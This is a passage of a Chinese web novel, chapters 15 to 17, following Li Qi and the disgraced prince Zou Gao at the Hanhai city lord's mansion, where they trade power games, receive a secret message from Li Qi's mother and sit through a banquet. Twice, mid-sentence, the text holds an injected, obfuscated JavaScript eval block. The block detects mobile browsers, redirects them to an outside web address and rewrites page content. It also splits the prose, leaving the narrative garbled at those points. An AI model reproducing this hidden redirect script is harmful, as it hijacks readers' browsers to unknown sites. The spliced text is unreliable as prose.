李棋听不下去了,拔高了声音,“我为什么要放弃自由追随你?” 她不疾不徐,缓缓又道:“诚然,王爷你容貌出众、实力高强、地位显赫。但是,我也不比你差,世间男子多了去了,比王爷俊朗帅气的也未必没有。” “追随一个男人得不到自由,拥有自由却能得到很多男人的追随。” 邹杲依旧是笑意盈盈,只是笑意不达眼底,安静在等着她的下文。 见他这死模样,李棋勾唇一笑,“就和你关系不错那个三皇子,他虽然有几分痴气,但容貌和地位却比你更出众,我若有意靠近,他未必会拒绝我。” “的确,小棋儿聪颖貌美,只要小棋儿主动,几乎没有男人能拒绝。”邹杲笑着赞同,神色如常。 李棋知道,这次的较量,不放点狠话,眼看自己就要输了。 但李棋如何甘心认输。 垂眸稳了稳心神,她重新抬眼看向邹杲,颇为得意笑道:“那是,凭着我的本事与智慧,成为天下之母也未曾不可。” 此话一出,邹杲脸上的笑意和玩味瞬间消失不见,,只剩下严肃与凝重。 “相识相伴两月,我倒是没觉察,小棋儿还有如此宏大愿望。” 李棋不慌不忙,咧嘴一笑,“人嘛,都是要往高处爬的。我的想法再惊世骇俗,也比不过都想着要做被娥皇女英姐妹共同侍候的帝舜的王爷不是。” 闻言,邹杲终于轻笑出声,但随即并更加凝重盯着她,完全就是在警告,“小棋儿,有些胡话,是轻易说不得的。” 他尽在掌握的目光与笑容让李棋心中不悦,李棋回以同样的笑容,“同样的话,还给王爷您。” 她嗤笑一声,又说,“王爷您都看不透我的内心,又如何知道我是在说胡话,还是什么。” “做了十九年的乡野丫头,如今难得有机会,走一条全新的路未必不是一条好的出路。” 邹杲脸上半分笑容也无了,“小棋儿可曾想过,这条好出路一步踏错的后果。” 李棋摇头,依旧却笑得灿烂,“结果无所谓,跌宕起伏的过程足够有趣,不枉我此生就行了。” 邹杲一眨不眨看着她,像是要用灼热的视线穿透皮肉,看穿她心中脑中所思所想一样。 李棋不给他机会,伸手在他眼前晃晃,讥诮笑问:“王爷为何这般看着我?是怕我成为你帝舜美梦成真路的挡路石?” 邹杲心绪复杂摇摇头,收回了视线。 李棋知道这个话题没法继续,也收回视线,看向前方。 这般静静走了好一会儿,邹杲突然喊她,“小棋儿。” “嗯?”李棋本能应了声。 邹杲的语气格外的郑重,她一抬头,便对上邹杲深邃认真的目光。 邹杲也看着她,似是玩笑,又很是认真,他压低声音道:“小棋儿,眼光放得高远些,你我联手,一起做这天下共主,这样的人生岂不更加精彩。” 李棋惊诧不已,却也分不清这是邹杲的肺腑之言,还是不服输的赌气之语。 邹杲也没给她试探确认的机会。 他对李棋挑眉一笑,轻拍千赤的背,让千赤加快了速度,很快与她拉开距离。 他还回过头来,对李棋笑道:“小棋儿,走快些,别落下了。” 李棋还看着邹杲的背影出神,身下的黑马却已经紧跟着追了上去。 千赤快步在前面走,黑马小跑追在后面,李棋与邹杲之间始终保持着一定的距离。 李棋也没有再主动和邹杲说话,她不知道说什么,也不知道从哪里说起。 一路上,直到凌晨时分回到瀚海城,他们也没有再讨论任何相关的话语。 * 瀚海城的城主赵孟果然是认识邹杲的,一见到邹杲,不等赵天禄询问介绍,便毕恭毕敬迎着邹杲进屋。 哪怕邹杲穿得破破烂烂的,全然没有王爷该有的样子。 沾邹杲的光,李棋也得到了座上宾的待遇。 赵孟本来想和邹杲一起吃饭叙旧,但是却被邹杲拒绝了。 邹杲就像回到自己家了一样,一点不客气,让赵孟给他准备衣物和热水,说自己要洗漱休息,其余的等他休息好再说。 赵孟完全没有怨言,或者是不敢有怨言。 期间,赵天禄不解询问出声,还被他高声呵斥,赶回了屋。 在城主府一阵兵荒马乱中,李棋和邹杲各自洗个热水澡,重新包扎了伤口,又换上了干净的衣物,还吃了可口的食物,然后躺在了舒服的大床上。 * 等躺到床上,天已经快亮了。 李棋却睡意全无,她思绪很乱,肩膀上的伤也很折磨人。 鸡鸣四起,她依旧没有睡意。 突然,鸡鸣声中,夹杂着几声鸟叫,还有窗户被敲啄的声音。 她猛地坐起来,顾不得左肩的疼痛,快速往声音传来的方向、靠近后院的那扇窗户走去。 应邹杲的要求,她和邹杲被安排在一个院子相近的两间房间里,邹杲就在她隔壁。 虽然邹杲那边很久之前就没有动静了,但是邹杲那么机敏的人,李棋可不敢松懈。 她走得很快,飞快打开窗户,让规律的敲啄声停下,一只不起眼的黑棕色小麻雀进入她的视线。 李棋亲昵拿起小麻雀,很快从麻雀的大腿根部取下一张纸条。 她放飞麻雀,关上窗户,拿着纸条转身往床边走去。 “怎么这时候联系我?” 看着纸条密封处的花纹,李棋很是纳闷。 纸条很小,一指长,半个指甲盖宽,上面用纤细的小字写着:警惕男色,不要站队,尘埃落定,人定归你。 李棋看完,有些窘迫,也有些惊诧。 她表现得有这么明显吗? 这才回到瀚海城,还是大晚上的,娘亲怎么知道她因为邹杲有些摇摆不定的? 她又从腰包里掏出特定的药水,让纸条上的密信显露出来。 看完上面的内容,李棋惊诧不已,松了口气的同时也感到愤怒,但还是忍住了,没当即跑出去找邹杲对峙查证。 将纸条烧成灰烬,平躺在床上,她还是很兴奋,不由得捂着脸仰躺在床上打滚。 还是左肩的疼痛传来,才让她冷静下来。 原来如此,原来如此! 还有这句‘尘埃落定,人定归你’。 娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680500|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲的意思是,不论最后邹杲有没有谋反,无论他成功与否,哪怕谋反失败被处以死刑,娘亲也可以如她所愿,就像过往送她的生辰礼一样,将邹杲给她吗? 邹杲可是活生生的人,而非没有自己思想的死物,娘亲哪来的这么大的底气? 纳闷归纳闷,李棋却越想越兴奋,越想越觉得自己这些天还有刚刚的纠结很傻。 痛苦纠结那么多一点实质性的成果都没有,姜还是老的辣,还是她娘亲看得清。 想通了,李棋也完全释然了,她已经在想以后如何驯服邹杲了。 想了好一会儿,她更加兴奋,扯过被子把脸一捂,双脚忍不住直蹬床。 隔壁,听着李棋屋中的动静,邹杲一会儿挑眉,一会儿不解,一会儿好笑。 他一时也思绪纷飞,但很多事情,他注定一时半会得不到答案。 他也等了很久了,不差这片刻。 不过一炷香的时间,听到隔壁传来的李棋规律的呼噜声,邹杲拧眉懊恼,又有些哭笑不得。 她倒是睡得香甜。 邹杲不是很有睡意,但这些天的确疲惫,确定没有危险,将脑袋放空好一会儿,他也终于浅浅睡去。 * 他们睡得安稳,赵孟、赵天禄父子却险些吵了起来。 城主府前院,赵孟的书房。 “爹,五年前救你的人真的是他吗?”赵天禄问,“给你求情,助你成为城主的也是他?你是在为他做事?” 赵孟疲倦道:“这些还不到你该知道的时候,天禄,你一路风尘仆仆,先回去休息吧。” 赵天禄却突然爆发了。 “爹,我到底是不是你亲儿子?作为嫡长子,作为你唯一的儿子,我甚至还没全睿一个家仆知道得多?” 赵天禄高声喝道,“你什么也不告诉我,等你百年之后,我如何继承家业,如何治理瀚海城?还是说,你在外面有别的儿子,或者,全睿才是你的亲儿子?” “放肆!”赵孟厉声呵斥,目光在桌面上巡视一番,拿起一本书就朝他砸了过去。 见自家父亲发如此大的火,赵天禄虽然心虚,积累已久的怨气却难以消散。 他高声质问:“难道不是吗?我若是你的亲儿子,你早就该把所有的事都告诉我了?八年了,我已经在雪原中虚度了八年的光阴了!我虽从小厮熬成少主,但每天接触的却依旧是小厮干的活。” 他说着,跪了下来,抱住赵孟的腿,声音低了很多,多了很多无奈不甘与请求。 “爹,我都二十九了啊,除了打猎,除了找药材,我什么也不懂。爹,我现在是瀚海城的少城主啊,将来,我是要成为瀚海城的城主的,你什么都不教我,什么都不让我知道,我将来要如何坐稳城主的位置啊,爹!” 赵孟看他一眼,重重叹了口气,又生生移开视线。 赵天禄又说:“还有那所谓的常胜王,如今人人皆知,常胜王邹杲只是被陛下遗弃的一条狗,皇城中但凡和他有点关系的都被陛下以各种莫须有的由头降职罢免了。你突然如此恭维他,对他毕恭毕敬,难道就不怕陛下知道,责怪于你,牵连我们赵氏全族……” 他话没说完,赵孟厉声呵斥道:“难道不是你把人带回来的?” 话音未落,赵孟还一脚将他踢开。 赵天禄怔怔跌坐在一旁,想到的确是他先看上李棋,并且招惹了他们,还自报家门,将邹杲带到了城主府。 越想,赵天禄越心虚,越不敢说话。 看着他这后知后觉的模样,赵孟越发无奈。 他叹着气,上前将赵天禄扶起来,“天禄啊,儿啊,你若能当大任,爹又如何不想卸下身上的重负呢!” 赵天禄不解看着他,赵孟无奈又道:“有些事,不是我不告诉你、不愿教你,而是我不能告诉你,也不能教你。” 他又道:“你若没招惹上他,那便算了。但如今招惹上了,就只能毕恭毕敬伺候着。” “无论当下常胜王的处境如何,他始终是陛下亲封的王,唯一的异姓王!你以为他凭什么会功高盖主到令陛下忌惮?他的高度,不是你我可以轻视的。何况他还是我的救命恩人。” 赵天禄还是不解,“可是,陛下都默认宫中人把他失势的事大肆宣扬出来了,也的确处理了他的亲信。传闻若是准确的话,他手中也没有兵权了,这样,他还能有什么可忌惮的?” 赵孟连连叹气,他有些头疼,他不得不承认他这个儿子,真的有些太不聪明了。 “天禄啊,你听爹的,不要问这么多,也不要管这么多。”赵孟苦口婆心说,“你只用专心习武,认真识草药、习药理,有这些,就算有朝一日爹驾鹤西去了,也足够你后半生无忧了。” 赵天禄瞪大了双眼,难以置信问:“你要剥夺我继承城主之位的权利?” 赵孟终于没有耐心了,一把大力甩开了赵天禄的手。 “你个痴儿!”赵孟气得浑身哆嗦,“陛下已经颁布了通过考核选官的诏令,要施行这道诏令首先要处理的,就是家族世袭子承父业!” 说到这,赵孟又气得不行,“你幼时为父让你多读书你不读,非要去抓兔子打鸟。你要是有那个本事,我会什么都不告诉你吗?” 赵孟越说越气,一时气结“……你,你真是气死我了!” “爹……”赵天禄被吓到了,也的确不知道,一时有些理亏。 赵孟烦躁吼道:“别喊我爹。” 他喘着粗气骂道:“你休息两天,便去抓你的兔子打你的鸟去。别在家里碍我的眼。” 赵天禄还想说话,赵孟又吼道:“我让你出去!” 赵孟是真的快被气炸了。赵天禄也看出来了,虽然心有不甘,但是却也不敢再问。 “爹,你别发这么大的火,我这就出去。” “出去!” “哦。” 赵天禄雄赳赳、气昂昂地来,夹着尾巴、沮丧地走。 赵孟坐在椅子上,气得不行,许久也没把气理顺了,若不是他身体不允许,他真想再生几个儿子。 16. 无尽卷·第十六章 16 李棋一觉醒来,已经是傍晚了。 她是做了噩梦惊醒过来的。 她梦见邹杲带着几千人造反,被成武帝几十万人打得没有还手之力。 她还梦见她从天而降想带邹杲走,邹杲却一把推开她,誓死不从与她打了起来。 她为了自卫,一个不小心,伤了邹杲左臂,也给了成武帝安排的骑射兵有机可乘,他们万箭齐发,将邹杲射成了刺猬。 她梦到邹杲在她面前倒下,而她使劲浑身解数,也救不活他,连师父和鬼爷爷都说他没救了。 邹杲更是全程冷脸,到死,都对她怒目而视,怪她坏了他的大事。 一会儿,她又梦到邹杲化身恶鬼罗刹,所向披靡,先是成武帝、三皇子,再是她的师父、娘亲、师兄,还有小灵、鬼爷爷,以及若干普通人…… 她认识在意的,不认识的,一个个都惨死在邹杲的手下。 邹杲从上到下,企图杀光天下人,她想杀了他、阻止他,却非但无能为力,还和他一样,双手沾满了鲜血,失控的嗜血虫几乎屠尽了目所能及的所有无辜百姓。 天地间,只剩下站在她对面对着她大笑的邹杲。 然后,李棋就猛然惊醒过来。 李棋在床上坐了很久很久,胸腔急促的跳动才平复下来。 快速下床穿鞋穿衣服,边走边用一条布带将披散的长发往肩颈处一束,李棋连忙开门出去。 院里很是安静,邹杲的房门紧闭,沉下心一听,里面一点活人存在的气息都没有,似乎这附近,除了她,再没有其他活人。 “邹杲!邹杲!” 她有些急,喊着邹杲的名字,拍打着他的房门。 没人回应,她门口一点香灰残留让她心神剧颤,只觉天塌了,顾不得其他,李棋转身就要进屋去拿鞭子。 她拿起鞭子才跑出来,还没到院门口,就远远看就一个容貌出众、打扮清丽的妙龄女子带着几个婢女拿着不少东西朝她走过来。 “姐姐便是随王爷同行的李姑娘了吧?” 女子款款朝她走来,不等她反应过来,亲热牵住了她的手,亲昵拉着她回屋。 女子羞怯道:“王爷说,无论是按年龄还是按认识他的时间,我都得叫你一声姐姐。” 李棋一愣,人都快气炸了。 姐姐? 邹杲这个混账,幻想娥皇女英还不够,她睡个觉的功夫,不但给她点香使阴招,居然又招惹来一个水灵灵的小妹妹。 就是不知道这女子是懵懂无知、被父亲支配,还是心思深沉、顺势而为的。 李棋只冷脸问:“邹杲人呢?现在在哪?” 女子一愣又有些惊愕,但很快便说:“王爷现在爹爹院中品茗。” 李棋又问:“他什么时候去的,去了多久了?” 女子一愣,看样子是也不太清楚,李棋也无心为难她,看向她身后的婢女们,“你是着城主的女儿,你们这是?” 说到这些,女子反应过来,压下慌愕,笑盈盈道:“是,姐姐,我闺名佳惠,爹爹准备了一些便饭,晚上为王爷和姐姐接风洗尘,王爷说估摸时间姐姐该醒了,特意让我带着人来帮姐姐梳洗打扮。” “接风洗尘?” 李棋心道,怕不会又是什么鸿门宴吧? 是城主府针对邹杲顺带捎上她的? 还是邹杲指使城主府,奔她而来的? “是,我们先去梳洗吧。” 赵佳惠有些抱歉道,“时间紧迫,姐姐身量又高,这五套衣裙已经是我能找到的所有了,姐姐看着选一套入眼的吧。” 话音未落,七八个侍女先从两边鱼贯而入,赵佳惠拉着她紧随其后,才进屋,侍女们便将手上端着的物品一一展开展示给她看。 衣服,首饰,热水,想到的,没想到的,赵佳惠都带了,且无论质量还是观赏度,都挑不出什么毛病。 是人都爱美,李棋也无法免俗,李棋上前一边仔细挑衣服,一边问:“这些是你准备的?” “我按照王爷和爹爹的指示准备的,姐姐都不喜欢吗?” 李棋停下动作,看向赵佳惠,欲言又止,但看着她泪汪汪的眼睛,最终还是没说出重话来,只点点头表示喜欢。 赵佳惠瞬间就开心了,雀跃上前,笑意盈盈道:“姐姐喜欢便好。” 不好,赵佳惠也是个娇俏的美人,这般笑起来,李棋有些无法招架,尤其现在敌我不明。 李棋别开视线,冷声道:“我不需要那么多人伺候,东西留下,你们都走。” “可是……”那泪水朦胧的小模样,真的我见犹怜。 李棋再一次打断她,“没什么可是,我作为王爷的身边人,连不要人伺候的权力都没有吗?” 当然,不想让人伺候是假,怕被看似人畜无害的赵佳惠算计是真。 但赵佳惠不给她机会,还表现得非常诚恳且无辜。 “不是的姐姐。” 赵佳惠十分真挚,“今晚的宴会很是隆重,姐姐虽生得国色天香,不需太多脂粉点缀,但发髻还是要细心梳理一番的,还是让我和刘姑姑留下来帮姐姐梳理吧。” 李棋朝赵佳惠身旁那个老妪看过去,她生得慈眉善目,见李棋看她,马上回以恭敬友好的笑意。 再一看赵佳惠,也是不见半分算计。 李棋一咬牙,道:“行吧,除了你和刘姑姑,其他人全部离开。” 赵佳惠松了口气,软糯的小脸上又带上了笑容。 “好,都听姐姐的。”她甜甜说罢,温温柔柔让其他人下去休息,和刘姑姑一起留了下来。 李棋将这些尽收眼底,心情愉悦的同时,心中不由暗骂自己早晚死在美色之中,但转念一想,人固有一死,死在美人手中,也不失为一桩美事。 不过,还是要长久活着,活得越久,见到遇到的美人才会更多。 “姐姐,衣裳你喜欢哪一套啊?”赵佳惠已经在给她挑衣服了,还欢欢喜喜拿了一套转过身来跟她推荐,“这套翠色的衣裙如何,我觉得翠色能更好衬托出姐姐超尘脱俗、冰清玉洁的气质。” 真的好可爱一小女子,李棋根本没法说什么重话。 但也正因为这样,她才努力强压着内心的冲动,冷着脸别开视线,“我不喜欢。” 赵佳惠有些失落,但很快又说,“好吧,那姐姐再看看另外四套。” 又说:“今日时间实在匆忙,明日,我问问爹爹,让裁缝来为姐姐量体裁衣好不好?” 这话说得,李棋更愧疚了。 “再说再说。”李棋的视线一一扫过另外四套衣裙,一眼,就被其中一套橙红色的衣裙吸引,很艳丽的颜色,和穿着粉白色衣裙的赵佳惠完全是两种风格,但李棋喜欢,她就喜欢张扬的颜色。 “就这套吧,你们在这等,我自己去换。”说罢,李棋拿起衣裙就去了屏风后面,赵佳惠欲跟上去,但被刘姑姑拦了下来。 等李棋换上衣服出来,赵佳惠已经挑出了一整套发饰,有的还挑选了两三个,留给了李棋选择的余地。 她才出来,赵佳惠就放下手中饰品上来迎接她,抓着她的手拉着她一边往梳妆桌前走,一边兴奋说:“姐姐,这些都是我和刘姑姑根据衣裙颜色挑出来的,你快看看,再挑一挑。” 刘姑姑伺候着她坐下,两人一左一右围着她,给她仔细挑选推荐。 一时间,李棋有些恍惚。 这样的画面,往往只会出现在每年她生辰的时,娘亲和师姐们也是这样围着给她梳妆打扮的。 不多时,刘姑姑和赵佳惠十分细致的给她梳了一个精美的凌云髻,辅以合适发饰,有在她的唇上涂了点明艳的胭脂,让她看起来,如同金尊玉贵的公主一般。 赵佳惠也是如此惊叹的,“姐姐,你好美啊,就行被娇宠长大的公主一样!” 李棋心中复杂,笑了笑,透过镜子看着她说:“你也很漂亮,楚楚动人、我见犹怜。” 闻言,赵佳惠的脸瞬间就红了一大片,当即就别开视线,不敢再直视李棋。 李棋不由好笑,赵佳惠将脸捂得更紧了,“姐姐果然在拿我取笑。” 还有发簪没插好,李棋也不好起身,她和刘姑姑的视线交汇上,两人都是好笑。 李棋又看向赵佳惠,试探伸手抓住她的手腕,见她没甩开,才坦言道:“没有拿你取笑,而是你真的太可爱。” 赵佳惠从指缝间露出一只眼睛,“真的?” “真的!”李棋笑道,“我骗你做什么,不信你问刘姑姑。” 沉默寡言、专心做事的刘姑姑闻言,笑着说:“二位小姐都是正开得艳的花儿,不同姿态,但各有各的颜色。” “刘姑姑说话真让人开心。”李棋拿起桌上一只小金簪,“佳惠,这支金簪朴素大方,给刘姑姑戴正合适,便给刘姑姑了吧。” 刘姑姑一愣,当即就要跪下拒绝。 李棋先将她拉着,赵佳惠也反应过来,连忙道:“这些都是王爷和爹爹给姐姐准备的,自然给由姐姐决定去留。” “是嘛,那我便做主将这只金簪送给刘姑姑了。” 刘姑姑连连拒绝,“使不得,使不得啊……” 赵佳惠点点头,看向刘姑姑又说:“刘姑姑,姐姐要赏你,你便收下吧。” 如此,刘姑姑才感激涕零收下了金簪。 李棋看向桌面上琳琅满目的珍宝,看向赵佳惠又说:“没用上的,佳惠你拿到你院中去吧。” 赵佳惠一愣,连忙拒绝,但李棋话都说出口了,那里会给她拒绝的机会。 主要是,李棋要这些也不好带走,何况有邹杲在,金玉器物应该是不会缺的,不如做顺水人情。 * 有了这一借花献佛的经历,赵佳惠对李棋更加热切,李棋也几乎确定赵佳惠没有坏心。 梳洗装扮好,李棋以游玩观赏之名,将剩余的金玉珠宝都送到了赵佳惠院中。 难怪去的路上赵佳惠犹犹豫豫,到了一看,李棋便知道其中缘由了。 赵佳惠住在很偏很破旧的小院子里,院子里没有伺候的仆从,只有一个依稀可见年轻时风华的重病老妪。 老妪是赵佳惠的生母。 以泡茶之名支走赵佳惠,李棋跟刘姑姑打探了两句,或许是因为那支金簪,刘姑姑也敞开心怀,同李棋说起许多赵佳惠母子的往事。 原来,她和赵佳惠的娘亲都是贫苦出身,在赵孟还不是城主的时候,她们便在赵家伺候,两人虽先后进府,遭遇却截然不同。 赵佳惠娘亲因为美貌被赵孟抬为小妾,也风光过几年,但最不缺的就是美人,何况她生的还不是个儿子。 还没说完,赵佳惠空手复返,跟她一同来的,还有一个精明的老妪。 “姐姐,这是……” 老妪来到跟前,都不等赵佳惠把话说完,便直接对李棋阿谀笑道:“李姑娘,我家老爷和王爷已经入席,夫人特意让我来请您过去,不好让王爷久等,咱们这就走吧。” 被硬生生打断的赵佳惠有些难堪,也因此,李棋对赵佳惠更加怜爱。 李棋只不咸不淡应了声,便上前朝赵佳惠伸出手。 赵佳惠一愣,对上李棋鼓励的笑容,她喜出望外,犹豫一瞬,赶紧上前抱住李棋的胳膊。 “走吧佳惠,你来带路。” 赵佳惠连连点头,“嗯嗯,姐姐跟我来。” 李棋余光注意到老妪阴狠的目光,但并未声张。 * 很快,几人来到的大堂,说是便饭,但是也有满满两大桌人。 邹杲坐在主桌主位,左边空着两个位置,赵孟则在右,之后是赵天禄,还有两个中年男人,五个年轻男子。 侧边还有一张桌子,全都是女眷,和赵佳惠差不多的妙龄女子占了大半。 李棋瞬间明白了这顿饭的意图。 瘦死的骆驼比马大,王爷始终是王爷,哪怕失宠了,也还是有人上赶着巴结。 而巴结男人最直接的方法就是送美人和钱财,邹杲不缺钱财,但还没有妻妾,所以美人是最佳选择。 所有人都已经坐好,李棋和赵佳惠站在门口尤其显眼,瞬间吸引了所有人的目光。 一瞬间,李棋也与邹杲的视线对视,邹杲满眼惊艳,眼睛一眨不眨看着她。 李棋心中得意又烦躁,但也还是没有当众让他下不来台,只端着从娘亲那里学来的姿态礼仪,不卑不亢行礼问好。 还是赵孟先反应过来:“李姑娘不必多礼,快过来坐,王爷特意给您留了位置。” “这恐怕有些不合规矩吧?” 此话一出,赵孟当即奉承看向邹杲,“这里,王爷最大,王爷便是规矩,只要王爷欢喜,便没有顾忌。” 邹杲不咸不淡笑了笑,桌上其余男人也跟着大笑奉承。 赵孟又对赵佳惠提醒道:“佳惠,愣着做什么,快陪李姑娘过来入座。” “是,爹爹。” 在赵孟面前的赵佳惠懦弱不少,她唯唯诺诺应着,生怕李棋不过去,挽着李棋的手还在后方出力推着李棋向前,不过她的力道很小,与其说是强迫,不如说是恳求。 邹杲的视线则一直在李棋身上,不知道的,还以为李棋多得他的宠呢。 无奈,李棋只得朝邹杲走过去,径直在他左边坐下,但李棋并没给他多余的眼神。 邹杲也不恼,笑意盈盈夸她,“小棋儿今日真漂亮。” 李棋以皮笑肉不笑的笑容回应,倒是赵佳惠颤抖且羞涩叫了一声王爷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680501|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邹杲朝她颔首算是回应。 所有人就坐,宴会开始。 赵孟和几个中年男人一边吃,一边同邹杲说些无关紧要的,时不时还会把话递到李棋嘴边,让她不至于尴尬。 氛围还算不错,直到,快吃好时,赵孟突然提到全程低调到没有丝毫存在感的赵佳惠。 “佳惠,不是说仰慕王爷吗?没看到王爷的酒没了,愣着做什么,去给王爷拿一壶新的酒过来。” 赵孟说这句话的时候,李棋被一个劲要她倒酒的邹杲弄烦了,她才正好妥协,拿起酒壶要给邹杲倒酒,只是酒壶里的酒所剩不多,酒杯只装了小半就没了。 不过,两边一直有端着酒的漂亮婢女候着,也只是招招手的事,不等李棋招手,赵孟就说出了这句话。 闻言,赵佳惠窘迫应是,在赵孟的眼神警告下,小心翼翼起身接过下人手中的一壶酒。 不等她递给李棋,赵孟又呵斥,“不懂规矩!怎么敢劳烦李姑娘,你去帮王爷把酒满上。” 赵孟又对邹杲道歉,“王爷勿怪,我这女儿久居闺房,听闻王爷的事迹后,仰慕王爷许久,如今荣幸见到本尊,难免羞涩激动。” “无妨,佳惠很好。”邹杲说着,回头看向赵佳惠,侧身给她腾出位置。 这体贴的举动,让赵佳惠脸都红了。 她小碎步走到李棋和邹杲之间,为邹杲将酒到满,声音低若蚊蝇但甜美,她轻喊了一声:“王爷。” “嗯,回去坐下吧,别累着了。”邹杲还算温柔,就是口齿没有那么清晰,他好像醉了。 他伸手接过赵佳惠手中的酒壶,转头又和赵孟聊了起来,说这酒如何如何好喝。 无论之前赵佳惠仰不仰慕邹杲,这一刻,赵佳惠的魂已然都被邹杲勾走了。 她轻飘飘回到自己的位置坐下,眼睛老是不受控制往邹杲身上瞟,小心翼翼的羞怯,娇俏可爱至极。 李棋夹在中间,感觉面前的好菜好酒瞬间没了滋味。 看着邹杲和赵孟谈笑风生说着赵佳惠,李棋放下筷子,抱臂往后靠。 害,谁叫她心地善良,既然赵佳惠喜欢,邹杲也悠然自得,那她还挡什么道,她倒是要看看,邹杲要怎么收场。 要不是动椅子太明显,她恨不得直接搬着椅子退得远远的,也离邹杲远远的。 突然,她就不想理邹杲了,也不想抢他回去了。 这个男人太坏了,不但不是良配,连玩玩也不是好的人选。 李棋不想理他,偏偏邹杲还不放过她。 “小棋儿。”邹杲一杯酒喝完,喊着她的名字,还想将手放到她的大腿上。 李棋立刻就躲开了,还瞪了他一眼。 一个老男人欲言又止,“这……” 其他人也纷纷看过来,想到她先前为了给邹杲造势的作为,无奈,李棋只得心不甘情不愿拿起酒壶给邹杲倒酒。 邹杲旁若无人笑笑,他似乎醉了,说话都有些含糊,“多谢小棋儿。” 旁人这才收回视线,闭上多余的嘴。 李棋知道邹杲的酒量也不止如此,也知道这些异样的眼光是因为邹杲,所以对于他的解围,她并不领情,只抱臂安静坐在旁边,等着看他们接下来要搞的幺蛾子。 等邹杲一杯酒下肚,赵孟问:“不知道王爷此行是如何计划的啊?若是时间来得及,不如在瀚海城多盘桓几日。” “正有此意!”李棋抢先一步对赵孟道,“如此,我和王爷就恭敬不如从命,劳烦赵城主了。” 赵孟面色一僵,看向邹杲。 谁知邹杲俨然一副色令智昏的模样,醉醺醺拉着李棋的手臂应和,“都听小棋儿的。” 此话一出,赵孟脸色直接变了,这和他刚刚和邹杲说好的完全不一样。他也不敢质问邹杲,只讪讪应和打哈哈。 邹杲又喝了两杯就不行了,醉醺醺靠在李棋身上,让李棋带他离开。 李棋知道邹杲是在装醉,但她也懒得再应付,虚情假意跟赵孟等人道别,然后扶着将重量完全压在她身上的邹杲快步离开。 * 一回到他们暂住的院落,邹杲就不装了。 他顺势勾住李棋的肩膀,一副伤欲绝心的模样:“小棋儿不担心本王的身体了吗?为何还要在瀚海城耽误时间?” 李棋没好气推开他,阴阳怪气笑道:“离开瀚海城,王爷不就见不到给你倒酒的小佳惠了。” “王爷神通广大,要什么找不到,多留几日又如何?” “小棋儿怎么这般燥怒?”邹杲顺势在院子里的石凳上坐下,他右手撑着下巴,仰头看着李棋,“看来,是本王疏忽小棋儿了。” 李棋终于受不了了,取下头上一个金发钗朝他扔过去,“闭嘴。太恶心了,别告诉我你毒发不受控制。你再这样,我真的不想管你死活了。” 邹杲轻松接过金发钗,拿在手中把玩,他收起了那副让李棋恶心的表情,脸上虽依旧带着笑,但言语却严肃很多。 “说说吧,小棋儿你留在瀚海城还想做什么?” “我能做什么?”李棋脸不红心不跳说,“当然是想再玩玩,素闻瀚海城男子个个高大健硕,你和你的佳惠妹妹玩两天,我也找两个小美男陪我玩两天。” 李棋又拍了拍自己的左臂,没好气道:“我这条胳膊还废着呢,现在上路,我们怕是真的就上路了。” “还有,”李棋审视盯着他,“你悄悄给我点香,难道不是因为考虑到我的伤,特意让我多睡会儿吗?” 邹杲笑笑,片刻,才轻飘飘道:“如此,便听小棋儿的吧。我带上佳惠妹妹,你带上我,我们一起玩。” “我若不带你呢?”李棋问。 邹杲嘴角轻扬,“那你就安心静养吧。” “行,算你厉害。”李棋气得咬牙切齿,“那我也要带上赵天禄!这样才公平。” “不行。”邹杲笑意收敛,“他已有妻儿,而且对你心怀不轨。” 李棋笑了,“那又如何?我带他又不图别的,只要他能听我使唤就行了。” 见邹杲脸色越来越难看,李棋唇齿轻启,张扬又道:“只要我想,城主府的人拦不住我,你那安神香也不会再派上用场。王爷,我当着他们的面叫你一声王爷,是给你面子,可不是敬畏怕你。” 她说完,看着邹杲蹙眉不悦的样子,心情愉悦,提着裙摆便转身回了屋。 * 邹杲看着她的背影,又气又无可奈何。 他也有些后悔,惊觉自己似乎又走错了。 虽然小棋儿爱看话本,但话本里那种争风吃醋,从而被激得坦白心意的乔段,在他和小棋儿之间,根本就不可能如期上演。 邹杲叹了口气,将发钗收到袖子里,低头蹂躏衣袖里的小七儿。 17. 无尽卷·第十七章 17 隔日,正午。 瀚海城最繁华的大街上,一个奇怪的组合吸引了往来行人的注视。 一袭深紫色锦衣的邹杲和盛装打扮的李棋并肩走在前面,李棋右后方,跟着瀚海城城主嫡长子赵天禄,邹杲左后方,跟着瀚海城城主女儿赵佳惠。 李棋和邹杲跟较劲似的,已经漫无目的在城里绕了差不多一个半个时辰了。 深居后院的赵佳惠实在坚持不住了,她将求救的目光看向自己的兄长,尽管她和这个兄长并不相熟。 其实,赵天禄也有些受不了了。 纵使他常年在外,但是这么跟着瞎走,也累够呛。 自从他爹警告他,让他见着邹杲恭敬一点,不要打李棋的主意后,他就很不爽,但是也不得不打消对李棋的歪心思。 他本想避而远之,谁知道,他爹一大早又派人把他喊了起来,让他跟着出来。 他本就不情愿,何况这么漫无目的瞎逛。 如今再一对上赵佳惠的目光,他再也无法忍耐,完全爆发了。 “你们到底想去哪?这都是第三次经过这条街了,你们是在耍合起伙来我吗?” 快步走在前面的李棋和邹杲停下脚步,同时回头,齐刷刷看向他。 赵佳惠惊恐捂嘴,想要制止自家兄长。 但赵天禄一个眼神,她就不敢动了,别说阻止他,连大气她都不敢喘一个。 